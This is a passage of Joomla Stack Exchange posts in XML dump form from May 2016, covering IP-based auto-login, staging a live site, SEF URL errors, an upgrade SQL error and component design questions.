  <row Id="16546" PostTypeId="2" ParentId="16545" CreationDate="2016-05-16T12:09:43.790" Score="1" Body="&lt;p&gt;With &lt;a href=&quot;https://www.regularlabs.com/extensions/iplogin&quot; rel=&quot;nofollow noreferrer&quot;&gt;IP Login from Regular Labs&lt;/a&gt; (ex-NoNumber!) you can log into you Joomla frontend and/administrator side automatically by IP address.&lt;/p&gt;&#xA;&lt;p&gt;You can simply set up your IP address and a secret URL key in your user profile in the administrator.&lt;/p&gt;&#xA;&lt;p&gt;After installing IP Login, you will have below settings in every user profile. So to set up IP Login for your user, go to the User Manager and click on your user account.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rzKhC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rzKhC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;With above example, you will be able to automatically log in on IP address 123.456.789.123 with URL key mxx8hrv4.&lt;/p&gt;&#xA;&lt;p&gt;The URL key needs to be put in the url as a 'query' variable, like:&#xA;&lt;code&gt;http://www.yourdomain.com?mxx8hrv4&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;If the URL already contains a ?, you can prepend the key with an &amp;amp;, like:&lt;br /&gt;&#xA;&lt;code&gt;http://www.yourdomain.com/administrator/index.php?option=com_content&amp;amp;mxx8hrv4&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Security warning&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Be aware that there is a small security risk. The risk is low, as the hacker will have to find out your IP address (and spoof it), know that you have set it up as auto-log-in IP address and somehow find out your secret URL key.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-05-16T12:09:43.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16547" PostTypeId="1" CreationDate="2016-05-16T13:12:55.537" Score="6" ViewCount="874" Body="&lt;p&gt;Maybe this is a silly question, but I would like to know how you deal the update of an online website. I'll explain me better. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose there's this website with daily added articles, comments, forum posts and so on. I would like to update the template, but this involves moving modules, changing titles, etc, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the template must be tested and personalized and this requires days, not hours. So in the meantime the website has changed. I cannot simply back it up locally, do the changes and update files via FTP and the database. I would lose data! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've always done the work &quot;twice&quot;: I take a backup, I do the changes and annotate every step I take, then (when I'm satisfied with the local version) I replicate the operation in the online website (hoping to spend the minimum time possible).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to improve this procedure and be more productive?&lt;br&gt;&#xA;Like a &quot;work in progress&quot; version of the website, better if accessible only to some users and that is kept synchronized with the &quot;stable&quot; version?&lt;br&gt;&#xA;Then, the &quot;work in progress&quot; version should be &quot;stabilized&quot; in moments, like with a &quot;one-click&quot; operation.&lt;/p&gt;&#xA;" OwnerUserId="3565" LastEditorUserId="126" LastEditDate="2016-05-16T13:20:49.933" LastActivityDate="2016-05-17T11:32:25.133" Title="How to update an online website?" Tags="|one-click-updates|extension-update|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16549" PostTypeId="2" ParentId="16525" CreationDate="2016-05-16T14:54:48.710" Score="1" Body="&lt;p&gt;Will post the answer as a reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end this was due to multiple instances of jQuery being loaded. 1 via a CDN and the other from Joomla's core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once fixed, we also ensured &lt;code&gt;jQuery.noConflict();&lt;/code&gt; was used directly after jQuery being loaded.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-05-16T14:54:48.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16550" PostTypeId="2" ParentId="16547" CreationDate="2016-05-16T15:10:12.030" Score="5" Body="&lt;p&gt;If I'm not mistaken, moving changes from your localhost/dev-environment to the live site should be pretty straight forward.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Before doing anything, &lt;strong&gt;&lt;em&gt;keep a backup of your site live&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As I'm sure you're aware, all settings (apart from the global config) are stored in the database, so if you've made any HTML changes, simply copy all the directories (&lt;code&gt;administrator&lt;/code&gt;, &lt;code&gt;modules&lt;/code&gt;, &lt;code&gt;components&lt;/code&gt;, etc) to the live server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;DO NOT&lt;/em&gt; copy any of the &lt;strong&gt;files&lt;/strong&gt; from the root directory (&lt;code&gt;configuration.php&lt;/code&gt;, &lt;code&gt;.htaccess&lt;/code&gt;, &lt;code&gt;web.config.txt&lt;/code&gt;, etc)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Once you've changed module positions, template settings and so on, export your database from phpMyAdmin, but when exporting, make sure the function to use when dumping is &lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;INSERT&lt;/code&gt;, but &lt;code&gt;UPDATE&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fdAiE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fdAiE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Then import the database. &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-05-16T15:10:12.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16551" PostTypeId="2" ParentId="16547" CreationDate="2016-05-16T15:24:26.640" Score="4" Body="&lt;p&gt;I haven't try it myself. It's a recent discovery of mine in JED, it is called &lt;strong&gt;StageIt&lt;/strong&gt; and it looks promising. StageIt claims it is the ideal staging environment solution for Joomla, making the headache of site updates and development workflow go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/stageit&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/stageit&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This taken from the extension's description in JED.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Here's how it works&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;StageIt takes all the drama out of updating Joomla!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Step 1: Create a new staging envinronment, which is perfectly matched&#xA;  to your existing site and sits 'on top' of your site.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Step 2: Make all the changes you like on the staging environment,&#xA;  without any change affecting the live site.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Step 3: If you want to show your client a new feature or some work&#xA;  you've done, so they (or their legal team) can sign off the new&#xA;  content, simply show them the staging environment.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Step 4: When you're happy with the changes, simply click a single&#xA;  'Sync with Live' button to sync the staging and live sites, and make&#xA;  all your changes live!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;What is included?&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Create a staging environment in seconds  &lt;/li&gt;&#xA;  &lt;li&gt;Develop on the staging environment with zero risk to your live site  &lt;/li&gt;&#xA;  &lt;li&gt;Make any changes you like - update extensions, delete content etc.  &lt;/li&gt;&#xA;  &lt;li&gt;StageIt supports ALL third party extensions  &lt;/li&gt;&#xA;  &lt;li&gt;Sync the staging environment with the live site at any time  &lt;/li&gt;&#xA;  &lt;li&gt;Visual button allows you to instantly switch between environments  &lt;/li&gt;&#xA;  &lt;li&gt;Automatic backups allow you to restore your live site to any sync point  &lt;/li&gt;&#xA;  &lt;li&gt;Configure to work with a range of servers - even GoDaddy!   ...&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note1: I am not affiliate in any way with this extension.&lt;br&gt;&#xA;Note2: It is a paid download.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-05-17T11:32:25.133" LastActivityDate="2016-05-17T11:32:25.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16552" PostTypeId="2" ParentId="16518" CreationDate="2016-05-16T16:56:55.907" Score="2" Body="&lt;p&gt;I looked at the code for this. JDate::dateformat is public, which means ANY code can modify the value. I would start doing a grep/search through my source tree (and any plugins/modules/libraries) to look for assignments to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the Time difference issue, what I think is that JFactory() is constructing the date two different ways. The first, with the value of $input['creationdate'] is passing in a character string. The second is passing a numeric value. If you look at the constructor for JDate(), if the date argument is a numeric, it converts the timestamp to UTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you should also do is dump the value for date-&gt;getTimezone() to examine them.&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2016-05-16T16:56:55.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16553" PostTypeId="2" ParentId="16547" CreationDate="2016-05-16T18:48:16.757" Score="3" Body="&lt;p&gt;For advanced website staging, you could look into &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-unite.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba UNiTE&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;UNiTE is an automated, unattended backup archive restoration tool. It&#xA;  is software written in PHP, designed to restore and customise Joomla!&#xA;  and WordPress websites from ZIP, JPA and JPS files created primarily&#xA;  with the Akeeba Backup or Akeeba Solo software suite. It's main&#xA;  mission is to do so without needing your attention, in a sort of&#xA;  fire-and-forget manner. To this end, it relies on a CRON script&#xA;  running at a predefined interval, allowing UNITE to process new site&#xA;  definitions.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Typically, UNiTE is used for the following tasks:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Provisioning of new Joomla! and WordPress websites.&lt;/strong&gt; You only need to&#xA;  supply an XML file which describes how the new site will be configured&#xA;  and a backup archive. At the end of the UNiTE run you'll have a&#xA;  configure Joomla! website, ready for use.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Demo sites&lt;/strong&gt;. Demo sites need to be restored from a known good backup on&#xA;  predefined intervals. Akeeba UNiTE can easily be used for this task.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Dev-to-staging or staging-to-live transfer automation.&lt;/strong&gt; Some setups&#xA;  require that before anything goes on the live site it should first go&#xA;  through a dev server (where all active development takes place) and a&#xA;  staging server (where user experience tests are conducted) before&#xA;  hitting the live site. UNiTE can be used to automatically backup the&#xA;  dev site and restore to the staging site, or even backup the staging&#xA;  site and restore it to the live site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that this is &lt;strong&gt;not&lt;/strong&gt; a regular Joomla extension, but a command-line application, and it uses CRON jobs. The &lt;a href=&quot;https://www.akeebabackup.com/documentation/unite.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; contains more details.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-05-16T18:48:16.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16554" PostTypeId="1" CreationDate="2016-05-16T21:43:28.787" Score="2" ViewCount="921" Body="&lt;p&gt;I removed the article IDs from the URL by editing the router.php as described &lt;a href=&quot;https://joomla.stackexchange.com/questions/13496/how-to-remove-article-id-from-joomla-3-4-3&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine for the most part, but there are a few pages that display a 404 Article not found error instead of the proper page. The original URL (with the embedded article ID) still works. As far as I can tell there aren't any duplicate alias names, but I'm not ruling anything out yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using Joomla 3.4.8. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="8413" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2017-08-23T14:55:07.820" Title="SEF urls without article ID causes 404 article not found error" Tags="|joomla-3.4|sef|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16556" PostTypeId="1" CreationDate="2016-05-17T09:45:57.613" Score="0" ViewCount="3349" Body="&lt;p&gt;I get this error instead of the classical page not found when the url is wrong:&#xA;Fatal error: Call to a member function getType() on a non-object in /plugins/system/sef/sef.php on line 38&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario:&#xA;LAMP - Centos6 + Plesk 11.5&#xA;Joomla! 3.5.1 Stable [ Unicorn ] 05-April-2016 22:45 GMT&#xA;SH404&#xA;CB&#xA;ohanah&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any tips?&lt;/p&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2016-08-07T16:00:42.373" Title="Fatal error: Call to a member function getType() on a non-object in /plugins/system/sef/sef.php on line 38" Tags="|joomla-3.x|sef|sh404sef|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16557" PostTypeId="1" CreationDate="2016-05-17T09:48:45.687" Score="2" ViewCount="624" Body="&lt;p&gt;In my Joomla application, I have functionality where I use server variables, like request_uri and query parameters for parsing url string. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function is used in many modules. So, I wanted to implement the same functionality by using a custom plugin, following &lt;a href=&quot;https://docs.joomla.org/J3.5:Creating_a_content_plugin#onContentPrepare&quot; rel=&quot;nofollow&quot;&gt;Joomla&lt;/a&gt; tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is whether using a plugin in this case is appropriate.&lt;br&gt;&#xA;And can we use server objects in a plugin class?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, how to use this plugin in my other modules and components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any detailed answers are appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="126" LastEditDate="2016-05-17T19:14:17.130" LastActivityDate="2016-05-18T11:40:21.180" Title="Use of $_SERVER variables in custom plugin" Tags="|joomla-3.x|php|plugin|server|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16558" PostTypeId="1" AcceptedAnswerId="16559" CreationDate="2016-05-17T10:12:25.043" Score="0" ViewCount="142" Body="&lt;p&gt;I've recently upgraded a test site on 2.5.8 to 3.5.1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before the upgrade all components were updated or disabled if not useable in 3.5.1. From here I used the Joomla Upgrade to get it to the latest version and had no issue with the backend of the website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The front end however gives the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unknown column 'ordering' in 'order clause' SQL=SELECT m.* FROM #__menu AS m WHERE menutype='mainmenu' AND published = 1 AND access IN (1,1,2,6) ORDER BY ordering&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disabling the main menu and adding a new one still seems to give the error and I can't find Ordering or Order Clause within the database (It may be there, I just can't seem to find it). &lt;/p&gt;&#xA;" OwnerUserId="1623" LastActivityDate="2016-05-22T18:16:46.140" Title="Upgrade 2.5 to 3.5 SQL error" Tags="|mysql|upgrade|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16559" PostTypeId="2" ParentId="16558" CreationDate="2016-05-17T10:16:58.347" Score="0" Body="&lt;p&gt;Two things to try and do. In your Joomla back-end, go to:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Extensions &amp;gt;&amp;gt; Manage &amp;gt;&amp;gt; Database&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If a notification appears saying there are some database structure errors, click the &amp;quot;&lt;strong&gt;Fix&lt;/strong&gt;&amp;quot; button.&lt;/p&gt;&#xA;&lt;p&gt;Once done or if there's nothing to fix, go to&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Menus &amp;gt;&amp;gt; Main Menu &amp;gt;&amp;gt; Rebuild&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If you have more than just 1 menu being used on your website, then try also rebuilding those menus too.&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;Ok having looked through the SQL changes from 2.5 to 3.x, the &lt;code&gt;ordering&lt;/code&gt; column was dropped in Joomla 3.0.0:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `#__menu` DROP COLUMN `ordering`;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So for some reason, your system is still trying to order by this column so perhaps the update wasn't 100% successful. Try downloading a fresh copy of Joomla 3.5.1, extract ONLY the directories from the root (e.g &lt;code&gt;modules&lt;/code&gt;, &lt;code&gt;plugins&lt;/code&gt;, &lt;code&gt;administrator&lt;/code&gt;, etc) and upload them to your server.&lt;/p&gt;&#xA;&lt;p&gt;I do hope you took a backup of your Joomla 3.5 site before the update&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-05-17T10:31:17.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16562" PostTypeId="1" CreationDate="2016-05-17T13:51:08.637" Score="2" ViewCount="116" Body="&lt;p&gt;I face a problem with plugin bxSlider and my 2.5 Joomla website. I am using it as a custom module. The problem is that when it loads, under my image it loads the whole template again! This happens only if I load an image. If I remove it, the problem dissappeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin I use is this: &lt;a href=&quot;http://bxslider.com/&quot; rel=&quot;nofollow&quot;&gt;http://bxslider.com/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that the problem is here(lin 271 of code in jquery.bxslider.js):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var loadElements = function(selector, callback){&#xA;            var total = selector.find('img, iframe').length;&#xA;            if (total == 0){&#xA;                callback();&#xA;                return;&#xA;            }&#xA;            var count = 0;&#xA;            selector.find('img, iframe').each(function(){&#xA;                $(this).one('load', function() {&#xA;                  if(++count == total) callback();&#xA;                }).each(function() {&#xA;                  if(this.complete) $(this).load();&#xA;                });&#xA;            });&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you have any ideas how this one can be fixed?&lt;/p&gt;&#xA;" OwnerUserId="8417" LastActivityDate="2022-03-31T05:06:35.567" Title="bxSlider as module loads the body of my template again" Tags="|joomla-2.5|module|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16564" PostTypeId="2" ParentId="7567" CreationDate="2016-05-17T18:21:19.817" Score="0" Body="&lt;p&gt;Add a link to the bootstrap.min.js in the modules default.php and that should fix it.  I had the same issue with the .tooltips and this fixed my issue.&lt;/p&gt;&#xA;" OwnerUserId="5759" LastActivityDate="2016-05-17T18:21:19.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16565" PostTypeId="2" ParentId="16236" CreationDate="2016-05-17T18:40:12.867" Score="3" Body="&lt;p&gt;The best solution would be to use preg_match() with a regular expression. One I've used before is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;((mailto\:|(news|(ht|f)tp(s?))|telnet|webcal|rss|nntp|file\://){1}\S+)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also search and find many other variations that are suited for specific tasks.&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2016-05-17T18:40:12.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16566" PostTypeId="2" ParentId="16557" CreationDate="2016-05-17T19:29:08.793" Score="3" Body="&lt;p&gt;You could create your &lt;a href=&quot;https://docs.joomla.org/Using_own_library_in_your_extensions&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;own library&lt;/strong&gt;&lt;/a&gt; with the functionality you want to re-use in all your extensions and load it each time with &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JLoader.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;JLoader&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;&lt;code&gt;$_SERVER&lt;/code&gt;&lt;/strong&gt; is a SUPERGLOBAL variable and can be accessed anytime from everywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you are working with Joomla, you may want to use what Joomla has to offer, so have a look at &lt;a href=&quot;https://docs.joomla.org/Category:JURI&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;JURI&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Job could be done with a plugin as well. For example you could create a system plugin and in your plugin's classes create public methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accessing your plugin from your modules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myPluginFramework = new MyPluginFramework();&#xA;&#xA;$myPluginFramework-&amp;gt;myRequestUri();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the plugin must be enabled in order to be able to create a new object of your plugin class. You probably have to consider any checks for if the class exists&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (class_exists('MyPluginFramework')) {&#xA;    $myPluginFramework = new MyPluginFramework();&#xA;    $myPluginFramework-&amp;gt;myRequestUri();&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-05-18T11:40:21.180" LastActivityDate="2016-05-18T11:40:21.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16568" PostTypeId="2" ParentId="16534" CreationDate="2016-05-17T20:27:50.427" Score="1" Body="&lt;p&gt;Open taggedblog_items.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within your foreach loop you need to access the object variable that you desire and wrap it in html code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div class=&quot;foo&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;created; ?&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div class=&quot;foo&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;author_name; ?&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div class=&quot;foo&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;category_title; ?&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These values are based on the joomla v3.51 com_content item object, so if you are using an older version the values may be different. To check what values you need put &#xA;&lt;code&gt;die(&quot;&amp;lt;pre&amp;gt;&quot;.print_r($item, true).&quot;&amp;lt;/pre&amp;gt;&quot;);&lt;/code&gt; within your foreach loop and try to access your site. You should see something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;stdClass Object&#xA;(&#xA;    [id] =&amp;gt; 20&#xA;    [title] =&amp;gt; Acquisition&#xA;    [alias] =&amp;gt; acquisition&#xA;    [checked_out] =&amp;gt; 172&#xA;    [checked_out_time] =&amp;gt; 2016-05-16 19:34:26&#xA;    [catid] =&amp;gt; 8&#xA;    [state] =&amp;gt; 1&#xA;    [access] =&amp;gt; 1&#xA;    [created] =&amp;gt; 2016-05-03 21:32:09&#xA;    [created_by] =&amp;gt; 172&#xA;    [created_by_alias] =&amp;gt; &#xA;    [ordering] =&amp;gt; 0&#xA;    [featured] =&amp;gt; 0&#xA;    [language] =&amp;gt; *&#xA;    [hits] =&amp;gt; 0&#xA;    [publish_up] =&amp;gt; 2016-05-03 21:32:09&#xA;    [publish_down] =&amp;gt; 0000-00-00 00:00:00&#xA;    [language_title] =&amp;gt; &#xA;    [language_image] =&amp;gt; &#xA;    [editor] =&amp;gt; Super User&#xA;    [access_level] =&amp;gt; Public&#xA;    [category_title] =&amp;gt; Acquisition&#xA;    [author_name] =&amp;gt; Super User&#xA;    [max_ordering] =&amp;gt; 0&#xA;)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the values are different then switch them out and you should get the results you want.&lt;/p&gt;&#xA;" OwnerUserId="8181" LastActivityDate="2016-05-17T20:27:50.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16569" PostTypeId="1" CreationDate="2016-05-17T23:40:14.830" Score="1" ViewCount="75" Body="&lt;p&gt;I'm developing my first component and I'm not sure how to best handle models that use other models from a design and implementation standpoint. For instance, I have a contact model (person or business). Then I have a model for address. In the database I have these joined by a junction table. How would I design and implement the MVC for this? I need to be able to perform CRUD operations on a contact that includes the address(s) for that contact. How do I handle the junction table from a design standpoint? I doubt it would be a model itself. Should I implement it in a helper file?&lt;/p&gt;&#xA;" OwnerUserId="7739" LastActivityDate="2016-07-17T01:38:19.197" Title="What is the proper way to handle models that use other models in MVC?" Tags="|joomla-3.x|component|mvc|custom-component|model|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16570" PostTypeId="1" AcceptedAnswerId="16591" CreationDate="2016-05-17T23:59:09.160" Score="1" ViewCount="457" Body="&lt;p&gt;I've been using the Joomla extension DP fields to add fields to the joomla content model.  The extension is great, I started using it after watching Macro Dings' talk at Joomla Day UK 2016 on YouTube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it is working really well for views in com_content, in terms of showing field values in article and blog views.  However, I'm struggling to figure out how to display the data in a module or template override of a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I'd like to show a couple of field values in a template override of the &quot;mod_articles_category&quot; module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping there would be a helper and an class/api call to use from there, but I've not found one yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About DP Fields...&#xA;&lt;a href=&quot;https://joomla.digital-peak.com/products/dpfields&quot; rel=&quot;nofollow&quot;&gt;https://joomla.digital-peak.com/products/dpfields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marco Dings' Joomla Day UK 2016 talk on DP fields...&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=KDh1IPuZAVA&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=KDh1IPuZAVA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DP Fields dev docs...&#xA;&lt;a href=&quot;https://joomla.digital-peak.com/documentation/162-dpfields/2756-developer&quot; rel=&quot;nofollow&quot;&gt;https://joomla.digital-peak.com/documentation/162-dpfields/2756-developer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2016-05-19T16:33:13.233" Title="DPFields display values in module" Tags="|joomla-3.x|custom-field|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16571" PostTypeId="2" ParentId="16569" CreationDate="2016-05-18T00:43:31.133" Score="2" Body="&lt;p&gt;There are many software design / architecture patterns and the is a good overview at &lt;a href=&quot;https://en.wikipedia.org/wiki/Architectural_pattern&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Architectural_pattern&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your description, it sounds like having a single joomla component with a model, view(s) and control will work ok.  It is hard to say what is best, but perhaps your might have the following...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Models&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;actor (person or business)&lt;/li&gt;&#xA;&lt;li&gt;address&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Views&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;list actors&lt;/li&gt;&#xA;&lt;li&gt;edit actor&lt;/li&gt;&#xA;&lt;li&gt;edit address&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;controls &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;get list of actors&lt;/li&gt;&#xA;&lt;li&gt;display actor details&lt;/li&gt;&#xA;&lt;li&gt;save actor edit&lt;/li&gt;&#xA;&lt;li&gt;display address details&lt;/li&gt;&#xA;&lt;li&gt;save address details&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or something similar, though this is just an idea based on an interpretation of what you 